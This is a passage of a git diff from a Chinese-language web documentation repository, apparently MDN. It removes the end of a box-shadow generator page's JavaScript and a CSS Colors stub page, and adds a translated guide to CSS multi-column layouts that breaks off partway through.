-		var setColor = function setColor(obj) {
-			if(obj instanceof Color !== true) {
-				console.log("Typeof instance not Color");
-				return;
-			}
-			color.copy(obj);
-			updateUI();
-		}
-
-		var subscribe = function subscribe(topic, callback) {
-			if (subscribers[topic] === undefined)
-				subscribers[topic] = [];
-
-			subscribers[topic].push(callback);
-		}
-
-		var unsubscribe = function unsubscribe(callback) {
-			subscribers.indexOf(callback);
-			subscribers.splice(index, 1);
-		}
-
-		var notify = function notify(topic, value) {
-			for (var i in subscribers[topic])
-				subscribers[topic][i](value);
-		}
-
-		var init = function init() {
-			colorpicker		= getElemById("colorpicker");
-			hue_area		= getElemById("hue");
-			gradient_area	= getElemById("gradient");
-			alpha_area		= getElemById("alpha");
-			gradient_picker	= getElemById("gradient_picker");
-			hue_selector	= getElemById("hue_selector");
-			alpha_selector	= getElemById("alpha_selector");
-			output_color	= getElemById("output_color");
-
-			var elem = document.querySelectorAll('#colorpicker .input');
-			var size = elem.length;
-			for (var i = 0; i < size; i++)
-				setInputComponent(elem[i]);
-
-			setMouseTracking(gradient_area, updateColor);
-			setMouseTracking(hue_area, updateHue);
-			setMouseTracking(alpha_area, updateAlpha);
-
-		}
-
-		return {
-			init : init,
-			setColor : setColor,
-			subscribe : subscribe,
-			unsubscribe : unsubscribe
-		}
-
-	})();
-
-	/**
-	 * Shadow dragging
-	 */
-	var PreviewMouseTracking = (function Drag() {
-		var active = false;
-		var lastX = 0;
-		var lastY = 0;
-		var subscribers = [];
-
-		var init = function init(id) {
-			var elem = getElemById(id);
-			elem.addEventListener('mousedown', dragStart, false);
-			document.addEventListener('mouseup', dragEnd, false);
-		}
-
-		var dragStart = function dragStart(e) {
-			if (e.button !== 0)
-				return;
-
-			active = true;
-			lastX = e.clientX;
-			lastY = e.clientY;
-			document.addEventListener('mousemove', mouseDrag, false);
-		}
-
-		var dragEnd = function dragEnd(e) {
-			if (e.button !== 0)
-				return;
-
-			if (active === true) {
-				active = false;
-				document.removeEventListener('mousemove', mouseDrag, false);
-			}
-		}
-
-		var mouseDrag = function mouseDrag(e) {
-			notify(e.clientX - lastX, e.clientY - lastY);
-			lastX = e.clientX;
-			lastY = e.clientY;
-		}
-
-		var subscribe = function subscribe(callback) {
-			subscribers.push(callback);
-		}
-
-		var unsubscribe = function unsubscribe(callback) {
-			var index = subscribers.indexOf(callback);
-			subscribers.splice(index, 1);
-		}
-
-		var notify = function notify(deltaX, deltaY) {
-			for (var i in subscribers)
-				subscribers[i](deltaX, deltaY);
-		}
-
-		return {
-			init : init,
-			subscribe : subscribe,
-			unsubscribe : unsubscribe
-		}
-
-	})();
-
-	/*
-	 * Element Class
-	 */
-	var CssClass = function CssClass(id) {
-		this.left = 0;
-		this.top = 0;
-		this.rotate = 0;
-		this.width = 300;
-		this.height = 100;
-		this.display = true;
-		this.border = true;
-		this.zIndex = -1;
-		this.bgcolor = new Color();
-		this.id = id;
-		this.node = getElemById('obj-' + id);
-		this.object = getElemById(id);
-		this.shadowID = null;
-		this.shadows = []
-		this.render = [];
-		this.init();
-	}
-
-	CssClass.prototype.init = function init() {
-		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
-		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
-
-		this.setTop(this.top);
-		this.setLeft(this.left);
-		this.setHeight(this.height);
-		this.setWidth(this.width);
-		this.bgcolor.setHSV(0, 0, 100);
-		this.updateBgColor(this.bgcolor);
-	}
-
-	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
-		this.left += deltaX;
-		this.top += deltaY;
-		this.node.style.top = this.top + "px";
-		this.node.style.left = this.left + "px";
-		SliderManager.setValue("left", this.left);
-		SliderManager.setValue("top", this.top);
-	}
-
-	CssClass.prototype.setLeft = function setLeft(value) {
-		this.left = value;
-		this.node.style.left = this.left + "px";
-		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
-	}
-
-	CssClass.prototype.setTop = function setTop(value) {
-		this.top = value;
-		this.node.style.top = this.top + 'px';
-		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
-	}
-
-	CssClass.prototype.setWidth = function setWidth(value) {
-		this.width = value;
-		this.node.style.width = this.width + 'px';
-		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
-	}
-
-	CssClass.prototype.setHeight = function setHeight(value) {
-		this.height = value;
-		this.node.style.height = this.height + 'px';
-		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
-	}
-
-	// Browser support
-	CssClass.prototype.setRotate = function setRotate(value) {
-		var cssvalue = 'rotate(' + value +'deg)';
-
-		this.node.style.transform = cssvalue;
-		this.node.style.webkitTransform = cssvalue;
-		this.node.style.msTransform = cssvalue;
-
-		if (value !== 0) {
-			if (this.rotate === 0) {
-				OutputManager.toggleProperty(this.id, 'transform', true);
-				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
-				OutputManager.toggleProperty(this.id, '-ms-transform', true);
-			}
-		}
-		else {
-			OutputManager.toggleProperty(this.id, 'transform', false);
-			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
-			OutputManager.toggleProperty(this.id, '-ms-transform', false);
-		}
-
-		OutputManager.updateProperty(this.id, 'transform', cssvalue);
-		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
-		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
-		this.rotate = value;
-	}
-
-	CssClass.prototype.setzIndex = function setzIndex(value) {
-		this.node.style.zIndex = value;
-		OutputManager.updateProperty(this.id, 'z-index', value);
-		this.zIndex = value;
-	}
-
-	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
-		if (typeof value !== "boolean" || this.display === value)
-			return;
-
-		this.display = value;
-		var display = this.display === true ? "block" : "none";
-		this.node.style.display = display;
-		this.object.style.display = display;
-	}
-
-	CssClass.prototype.toggleBorder = function toggleBorder(value) {
-		if (typeof value !== "boolean" || this.border === value)
-			return;
-
-		this.border = value;
-		var border = this.border === true ? "1px solid #CCC" : "none";
-		this.node.style.border = border;
-	}
-
-	CssClass.prototype.updateBgColor = function updateBgColor(color) {
-		this.bgcolor.copy(color);
-		this.node.style.backgroundColor = color.getColor();
-		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
-	}
-
-	CssClass.prototype.updateShadows = function updateShadows() {
-		if (this.render.length === 0)
-			OutputManager.toggleProperty(this.id, 'box-shadow', false);
-		if (this.render.length === 1)
-			OutputManager.toggleProperty(this.id, 'box-shadow', true);
-
-		this.node.style.boxShadow = this.render.join(", ");
-		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
-
-	}
-
-
-	/**
-	 * Tool Manager
-	 */
-	var Tool = (function Tool() {
-
-		var preview;
-		var classes = [];
-		var active = null;
-		var animate = false;
-
-		/*
-		 * Toll actions
-		 */
-		var addCssClass = function addCssClass(id) {
-			classes[id] = new CssClass(id);
-		}
-
-		var setActiveClass = function setActiveClass(id) {
-			active = classes[id];
-			active.shadowID = null;
-			ColoPicker.setColor(classes[id].bgcolor);
-			SliderManager.setValue("top", active.top);
-			SliderManager.setValue("left", active.left);
-			SliderManager.setValue("rotate", active.rotate);
-			SliderManager.setValue("z-index", active.zIndex);
-			SliderManager.setValue("width", active.width);
-			SliderManager.setValue("height", active.height);
-			ButtonManager.setValue("border-state", active.border);
-			active.updateShadows();
-		}
-
-		var disableClass = function disableClass(topic) {
-			classes[topic].toggleDisplay(false);
-			ButtonManager.setValue(topic, false);
-		}
-
-		var addShadow = function addShadow(position) {
-			if (animate === true)
-				return -1;
-
-			active.shadows.splice(position, 0, new Shadow());
-			active.render.splice(position, 0, null);
-		}
-
-		var swapShadow = function swapShadow(id1, id2) {
-			var x = active.shadows[id1];
-			active.shadows[id1] = active.shadows[id2];
-			active.shadows[id2] = x;
-			updateShadowCSS(id1);
-			updateShadowCSS(id2);
-		}
-
-		var deleteShadow = function deleteShadow(position) {
-			active.shadows.splice(position, 1);
-			active.render.splice(position, 1);
-			active.updateShadows();
-		}
-
-		var setActiveShadow = function setActiveShadow(id, glow) {
-			active.shadowID = id;
-			ColoPicker.setColor(active.shadows[id].color);
-			ButtonManager.setValue("inset", active.shadows[id].inset);
-			SliderManager.setValue("blur", active.shadows[id].blur);
-			SliderManager.setValue("spread", active.shadows[id].spread);
-			SliderManager.setValue("posX", active.shadows[id].posX);
-			SliderManager.setValue("posY", active.shadows[id].posY);
-			if (glow === true)
-				addGlowEffect(id);
-		}
-
-		var addGlowEffect = function addGlowEffect(id) {
-			if (animate === true)
-				return;
-
-			animate = true;
-			var store = new Shadow();
-			var shadow = active.shadows[id];
-
-			store.copy(shadow);
-			shadow.color.setRGBA(40, 125, 200, 1);
-			shadow.blur = 10;
-			shadow.spread = 10;
-
-			active.node.style.transition = "box-shadow 0.2s";
-			updateShadowCSS(id);
-
-			setTimeout(function() {
-				shadow.copy(store);
-				updateShadowCSS(id);
-				setTimeout(function() {
-					active.node.style.removeProperty("transition");
-					animate = false;
-				}, 100);
-			}, 200);
-		}
-
-		var updateActivePos = function updateActivePos(deltaX, deltaY) {
-			if (active.shadowID === null)
-				active.updatePos(deltaX, deltaY);
-			else
-				updateShadowPos(deltaX, deltaY);
-		}
-
-		/*
-		 * Shadow properties
-		 */
-		var updateShadowCSS = function updateShadowCSS(id) {
-			active.render[id] = active.shadows[id].computeCSS();
-			active.updateShadows();
-		}
-
-		var toggleShadowInset = function toggleShadowInset(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].toggleInset(value);
-			updateShadowCSS(active.shadowID);
-		}
-
-		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
-			var shadow = active.shadows[active.shadowID];
-			shadow.posX += deltaX;
-			shadow.posY += deltaY;
-			SliderManager.setValue("posX", shadow.posX);
-			SliderManager.setValue("posY", shadow.posY);
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowPosX = function setShadowPosX(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].posX = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowPosY = function setShadowPosY(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].posY = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowBlur = function setShadowBlur(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].blur = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowSpread = function setShadowSpread(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].spread = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var updateShadowColor = function updateShadowColor(color) {
-			active.shadows[active.shadowID].color.copy(color);
-			updateShadowCSS(active.shadowID);
-		}
-
-		/*
-		 * Element Properties
-		 */
-		var updateColor = function updateColor(color) {
-			if (active.shadowID === null)
-				active.updateBgColor(color);
-			else
-				updateShadowColor(color);
-		}
-
-		var init = function init() {
-			preview = getElemById("preview");
-
-			ColoPicker.subscribe("color", updateColor);
-			PreviewMouseTracking.subscribe(updateActivePos);
-
-			// Affects shadows
-			ButtonManager.subscribe("inset", toggleShadowInset);
-			SliderManager.subscribe("posX", setShadowPosX);
-			SliderManager.subscribe("posY", setShadowPosY);
-			SliderManager.subscribe("blur", setShadowBlur);
-			SliderManager.subscribe("spread", setShadowSpread);
-
-			// Affects element
-			SliderManager.subscribe("top", function(value){
-				active.setTop(value);
-			});
-			SliderManager.subscribe("left", function(value){
-				active.setLeft(value);
-			});
-			SliderManager.subscribe("rotate", function(value) {
-				if (active == classes["element"])
-					return;
-				active.setRotate(value);
-			});
-
-			SliderManager.subscribe("z-index", function(value) {
-				if (active == classes["element"])
-					return;
-				active.setzIndex(value);
-			});
-
-			SliderManager.subscribe("width", function(value) {
-				active.setWidth(value)
-			});
-
-			SliderManager.subscribe("height", function(value) {
-				active.setHeight(value)
-			});
-
-			// Actions
-			classes['before'].top = -30;
-			classes['before'].left = -30;
-			classes['after'].top = 30;
-			classes['after'].left = 30;
-			classes['before'].toggleDisplay(false);
-			classes['after'].toggleDisplay(false);
-			ButtonManager.setValue('before', false);
-			ButtonManager.setValue('after', false);
-
-			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
-			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
-
-			ButtonManager.subscribe("border-state", function(value) {
-				active.toggleBorder(value);
-			});
-
-		}
-
-		return {
-			init 			: init,
-			addShadow		: addShadow,
-			swapShadow		: swapShadow,
-			addCssClass		: addCssClass,
-			disableClass	: disableClass,
-			deleteShadow	: deleteShadow,
-			setActiveClass	: setActiveClass,
-			setActiveShadow : setActiveShadow
-		}
-
-	})();
-
-	/**
-	 * Layer Manager
-	 */
-	var LayerManager = (function LayerManager() {
-		var stacks = [];
-		var active = {
-			node : null,
-			stack : null
-		}
-		var elements = {};
-
-		var mouseEvents = function mouseEvents(e) {
-			var node = e.target;
-			var type = node.getAttribute('data-type');
-
-			if (type === 'subject')
-				setActiveStack(stacks[node.id]);
-
-			if (type === 'disable') {
-				Tool.disableClass(node.parentNode.id);
-				setActiveStack(stacks['element']);
-			}
-
-			if (type === 'add')
-				active.stack.addLayer();
-
-			if (type === 'layer')
-				active.stack.setActiveLayer(node);
-
-			if (type === 'delete')
-				active.stack.deleteLayer(node.parentNode);
-
-			if (type === 'move-up')
-				active.stack.moveLayer(1);
-
-			if (type === 'move-down')
-				active.stack.moveLayer(-1);
-		}
-
-		var setActiveStack = function setActiveStack(stackObj) {
-			active.stack.hide();
-			active.stack = stackObj;
-			active.stack.show();
-		}
-
-		/*
-		 * Stack object
-		 */
-		var Stack = function Stack(subject) {
-			var S = document.createElement('div');
-			var title = document.createElement('div');
-			var stack = document.createElement('div');
-
-			S.className = 'container';
-			stack.className = 'stack';
-			title.className = 'title';
-			title.textContent = subject.getAttribute('data-title');
-			S.appendChild(title);
-			S.appendChild(stack);
-
-			this.id = subject.id;
-			this.container = S;
-			this.stack = stack;
-			this.subject = subject;
-			this.order = [];
-			this.uid = 0;
-			this.count = 0;
-			this.layer = null;
-			this.layerID = 0;
-		}
-
-		Stack.prototype.addLayer = function addLayer() {
-			if (Tool.addShadow(this.layerID) == -1)
-				return;
-
-			var uid = this.getUID();
-			var layer = this.createLayer(uid);
-
-			if (this.layer === null && this.stack.children.length >= 1)
-				this.layer = this.stack.children[0];
-
-			this.stack.insertBefore(layer, this.layer);
-			this.order.splice(this.layerID, 0, uid);
-			this.count++;
-			this.setActiveLayer(layer);
-		}
-
-		Stack.prototype.createLayer = function createLayer(uid) {
-			var layer = document.createElement('div');
-			var del = document.createElement('span');
-
-			layer.className = 'node';
-			layer.setAttribute('data-shid', uid);
-			layer.setAttribute('data-type', 'layer');
-			layer.textContent = 'shadow ' + uid;
-
-			del.className = 'delete';
-			del.setAttribute('data-type', 'delete');
-
-			layer.appendChild(del);
-			return layer;
-		}
-
-		Stack.prototype.getUID = function getUID() {
-			return this.uid++;
-		}
-
-		// SOLVE IE BUG
-		Stack.prototype.moveLayer = function moveLayer(direction) {
-			if (this.count <= 1 || this.layer === null)
-				return;
-			if (direction === -1 && this.layerID === (this.count - 1) )
-				return;
-			if (direction === 1 && this.layerID === 0 )
-				return;
-
-			if (direction === -1) {
-				var before = null;
-				Tool.swapShadow(this.layerID, this.layerID + 1);
-				this.swapOrder(this.layerID, this.layerID + 1);
-				this.layerID += 1;
-
-				if (this.layerID + 1 !== this.count)
-					before = this.stack.children[this.layerID + 1];
-
-				this.stack.insertBefore(this.layer, before);
-				Tool.setActiveShadow(this.layerID, false);
-			}
-
-			if (direction === 1) {
-				Tool.swapShadow(this.layerID, this.layerID - 1);
-				this.swapOrder(this.layerID, this.layerID - 1);
-				this.layerID -= 1;
-				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
-				Tool.setActiveShadow(this.layerID, false);
-			}
-		}
-
-		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
-			var x = this.order[pos1];
-			this.order[pos1] = this.order[pos2];
-			this.order[pos2] = x;
-		}
-
-		Stack.prototype.deleteLayer = function deleteLayer(node) {
-			var shadowID =  node.getAttribute('data-shid') | 0;
-			var index = this.order.indexOf(shadowID);
-			this.stack.removeChild(this.stack.children[index]);
-			this.order.splice(index, 1);
-			this.count--;
-
-			Tool.deleteShadow(index);
-
-			if (index > this.layerID)
-				return;
-
-			if (index == this.layerID) {
-				if (this.count >= 1) {
-					this.layerID = 0;
-					this.setActiveLayer(this.stack.children[0], true);
-				}
-				else {
-					this.layer = null;
-					this.show();
-				}
-			}
-
-			if (index < this.layerID) {
-				this.layerID--;
-				Tool.setActiveShadow(this.layerID, true);
-			}
-
-		}
-
-		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
-			elements.shadow_properties.style.display = 'block';
-			elements.element_properties.style.display = 'none';
-
-			if (this.layer)
-				this.layer.removeAttribute('data-active');
-
-			this.layer = node;
-			this.layer.setAttribute('data-active', 'layer');
-
-			var shadowID =  node.getAttribute('data-shid') | 0;
-			this.layerID = this.order.indexOf(shadowID);
-			Tool.setActiveShadow(this.layerID, true);
-		}
-
-		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
-			if (this.layer)
-				this.layer.removeAttribute('data-active');
-
-			this.layer = null;
-			this.layerID = 0;
-		}
-
-		Stack.prototype.hide = function hide() {
-			this.unsetActiveLayer();
-			this.subject.removeAttribute('data-active');
-			var style = this.container.style;
-			style.left = '100%';
-			style.zIndex = '0';
-		}
-
-		Stack.prototype.show = function show() {
-			elements.shadow_properties.style.display = 'none';
-			elements.element_properties.style.display = 'block';
-
-			if (this.id === 'element') {
-				elements.zIndex.style.display = 'none';
-				elements.transform_rotate.style.display = 'none';
-			}
-			else {
-				elements.zIndex.style.display = 'block';
-				elements.transform_rotate.style.display = 'block';
-			}
-
-			this.subject.setAttribute('data-active', 'subject');
-			var style = this.container.style;
-			style.left = '0';
-			style.zIndex = '10';
-			Tool.setActiveClass(this.id);
-		}
-
-		function init() {
-
-			var elem, size;
-			var layerManager = getElemById("layer_manager");
-			var layerMenu = getElemById("layer_menu");
-			var container = getElemById("stack_container");
-
-			elements.shadow_properties = getElemById('shadow_properties');
-			elements.element_properties = getElemById('element_properties');
-			elements.transform_rotate = getElemById('transform_rotate');
-			elements.zIndex = getElemById('z-index');
-
-			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
-			size = elem.length;
-
-			for (var i = 0; i < size; i++) {
-				var S = new Stack(elem[i]);
-				stacks[elem[i].id] = S;
-				container.appendChild(S.container);
-				Tool.addCssClass(elem[i].id);
-			}
-
-			active.stack = stacks['element'];
-			stacks['element'].show();
-
-			layerManager.addEventListener("click", mouseEvents);
-			layerMenu.addEventListener("click", mouseEvents);
-
-			ButtonManager.subscribe("before", function(value) {
-				if (value === false && active.stack === stacks['before'])
-					setActiveStack(stacks['element'])
-				if (value === true && active.stack !== stacks['before'])
-					setActiveStack(stacks['before'])
-			});
-
-			ButtonManager.subscribe("after", function(value) {
-				if (value === false && active.stack === stacks['after'])
-					setActiveStack(stacks['element'])
-				if (value === true && active.stack !== stacks['after'])
-					setActiveStack(stacks['after'])
-			});
-		}
-
-		return {
-			init : init
-		}
-	})();
-
-	/*
-	 * OutputManager
-	 */
-	var OutputManager = (function OutputManager() {
-		var classes = [];
-		var buttons = [];
-		var active = null;
-		var menu = null;
-		var button_offset = 0;
-
-		var crateOutputNode = function(topic, property) {
-
-			var prop = document.createElement('div');
-			var name = document.createElement('span');
-			var value = document.createElement('span');
-
-			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
-
-			name.textContent = '\t' + pmatch[4];
-
-			if (pmatch[3] !== undefined) {
-				name.textContent = '\t' + pmatch[2];
-				value.textContent = pmatch[3] + ';';
-			}
-
-			name.textContent += ': ';
-			prop.className = 'css-property';
-			name.className = 'name';
-			value.className = 'value';
-			prop.appendChild(name);
-			prop.appendChild(value);
-
-			classes[topic].node.appendChild(prop);
-			classes[topic].line[property] = prop;
-			classes[topic].prop[property] = value;
-		}
-
-		var OutputClass = function OutputClass(node) {
-			var topic = node.getAttribute('data-topic');
-			var prop = node.getAttribute('data-prop');
-			var name = node.getAttribute('data-name');
-			var properties = prop.split(' ');
-
-			classes[topic] = {};
-			classes[topic].node = node;
-			classes[topic].prop = [];
-			classes[topic].line = [];
-			classes[topic].button = new Button(topic);
-
-			var open_decl = document.createElement('div');
-			var end_decl = document.createElement('div');
-
-			open_decl.textContent = name + ' {';
-			end_decl.textContent = '}';
-			node.appendChild(open_decl);
-
-			for (var i in properties)
-				crateOutputNode(topic, properties[i]);
-
-			node.appendChild(end_decl);
-		}
-
-		var Button = function Button(topic) {
-			var button = document.createElement('div');
-
-			button.className = 'button';
-			button.textContent = topic;
-			button.style.left = button_offset + 'px';
-			button_offset += 100;
-
-			button.addEventListener("click", function() {
-				toggleDisplay(topic);
-			})
-
-			menu.appendChild(button);
-			return button;
-		}
-
-		var toggleDisplay = function toggleDisplay(topic) {
-			active.button.removeAttribute('data-active');
-			active.node.style.display = 'none';
-			active = classes[topic];
-			active.node.style.display = 'block';
-			active.button.setAttribute('data-active', 'true');
-		}
-
-		var toggleButton = function toggleButton(topic, value) {
-			var display = (value === true) ? 'block' : 'none';
-			classes[topic].button.style.display = display;
-
-			if (value === true)
-				toggleDisplay(topic);
-			else
-				toggleDisplay('element');
-		}
-
-		var updateProperty = function updateProperty(topic, property, data) {
-			try {
-				classes[topic].prop[property].textContent = data + ';';
-			}
-			catch(error) {
-				// console.log("ERROR undefined : ", topic, property, data);
-			}
-		}
-
-		var toggleProperty = function toggleProperty(topic, property, value) {
-			var display = (value === true) ? 'block' : 'none';
-			try {
-				classes[topic].line[property].style.display = display;
-			}
-			catch(error) {
-				// console.log("ERROR undefined : ",classes, topic, property, value);
-			}
-		}
-
-		var init = function init() {
-
-			menu = getElemById('menu');
-
-			var elem = document.querySelectorAll('#output .output');
-			var size = elem.length;
-			for (var i = 0; i < size; i++)
-				OutputClass(elem[i]);
-
-			active = classes['element'];
-			toggleDisplay('element');
-
-			ButtonManager.subscribe("before", function(value) {
-				toggleButton('before', value);
-			});
-
-			ButtonManager.subscribe("after", function(value) {
-				toggleButton('after', value);
-			});
-		}
-
-		return {
-			init : init,
-			updateProperty : updateProperty,
-			toggleProperty : toggleProperty
-		}
-
-	})();
-
-
-	/**
-	 * Init Tool
-	 */
-	var init = function init() {
-		ButtonManager.init();
-		OutputManager.init();
-		ColoPicker.init();
-		SliderManager.init();
-		LayerManager.init();
-		PreviewMouseTracking.init("preview");
-		Tool.init();
-	}
-
-	return {
-		init : init
-	}
-
-})();
-
-
-
-
- -
{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}
- -

Related Tool: Box Shadow CSS Generator

diff --git a/files/zh-cn/web/css/css_colors/index.html b/files/zh-cn/web/css/css_colors/index.html deleted file mode 100644 index 60036fea2b..0000000000 --- a/files/zh-cn/web/css/css_colors/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: CSS Colors -slug: Web/CSS/CSS_Colors -tags: - - CSS - - CSS Colors - - NeedsTranslation - - Overview - - Reference - - TopicStub -translation_of: Web/CSS/CSS_Color -translation_of_original: Web/CSS/CSS_Colors ---- -
{{CSSRef}}
- -

CSS Colors 是 CSS 的一个模块,用于处理颜色、颜色类型和透明度。

- -

参考 (Reference)

- -

属性

- -
- -
- -

CSS 数据类型

- -

{{cssxref("<color>")}}

- -

指南 (Guides)

- -

None.

- -

规范 (Specifications)

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS3 Colors')}}{{Spec2('CSS3 Colors')}} 
{{SpecName('CSS2.1', 'colors.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Initial definition
- -

浏览器兼容性 (Browser compatibility)

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1")}}3.03.51.0
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile("1")}}6.06.01.0
-
- -

另请阅读

- - diff --git a/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html b/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html new file mode 100644 index 0000000000..593e14fd47 --- /dev/null +++ b/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html @@ -0,0 +1,130 @@ +--- +title: 使用CSS的多列布局 +slug: Web/Guide/CSS/Using_multi-column_layouts +translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts +--- +

{{CSSRef("CSS Multi-columns")}}

+ +

CSS多列布局 扩展块布局模式,以便更容易地定义多列文本。如果一行太长,人们阅读文本很麻烦; 如果眼睛从一行的终点移动到下一个行的开始需要太长时间,它们就会丢失它们所在的行。因此,为了最大限度地利用大屏幕,作者应该将宽度不等的文本列并排放置,就像报纸一样。

+ +

糟糕的是如果不使用CSS和HTML在特定的位置强制换行,或者严格限制文本中允许的标记,或者夸张地使用脚本的话,这是不可能实现的。该限制通过从传统的块级布局模块中延伸出来的新的CSS属性得以解决。

+ +

使用多列布局

+ +

列计数器和宽度

+ +

有两个CSS属性控制是否实现多列布局和显示多少列: {{ Cssxref("column-count") }} and {{ Cssxref("column-width") }}。

+ +

属性 column-count 设置特定数量的列数。例如,

+ +
<div style="column-count:2;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

会以两列的方式显示内容:(如果你正使用支持多列布局的浏览器的话):

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

属性 column-width 设置期望的最小列宽。如果 column-count 没有设置,那么浏览器就会以合适的宽度尽量显示更多的列。

+ +
<div style="column-width:20em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

变成:

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

详细细节在 CSS3规范 中。

+ +

在多列块中,内容会自动从一列换到另一列中。所有 HTML, CSS 和 DOM 功能在列之间都得到支持, 比如编辑和打印。

+ +

columns 属性简写

+ +

多数时候,网页设计者都会使用 {{ cssxref("column-count") }} 和 {{ cssxref("column-width") }} 的一个. 由于它们的值没有重叠,一般使用简写属性 {{ cssxref("columns") }}。例如,

+ +

CSS声明 column-width:12em 可替换成:

+ +
<div style="columns:12em">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

CSS声明 column-count:4 可替换成:

+ +
<div style="columns:4">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

CSS声明 column-width:8emcolumn-count:12 可替换成:

+ +
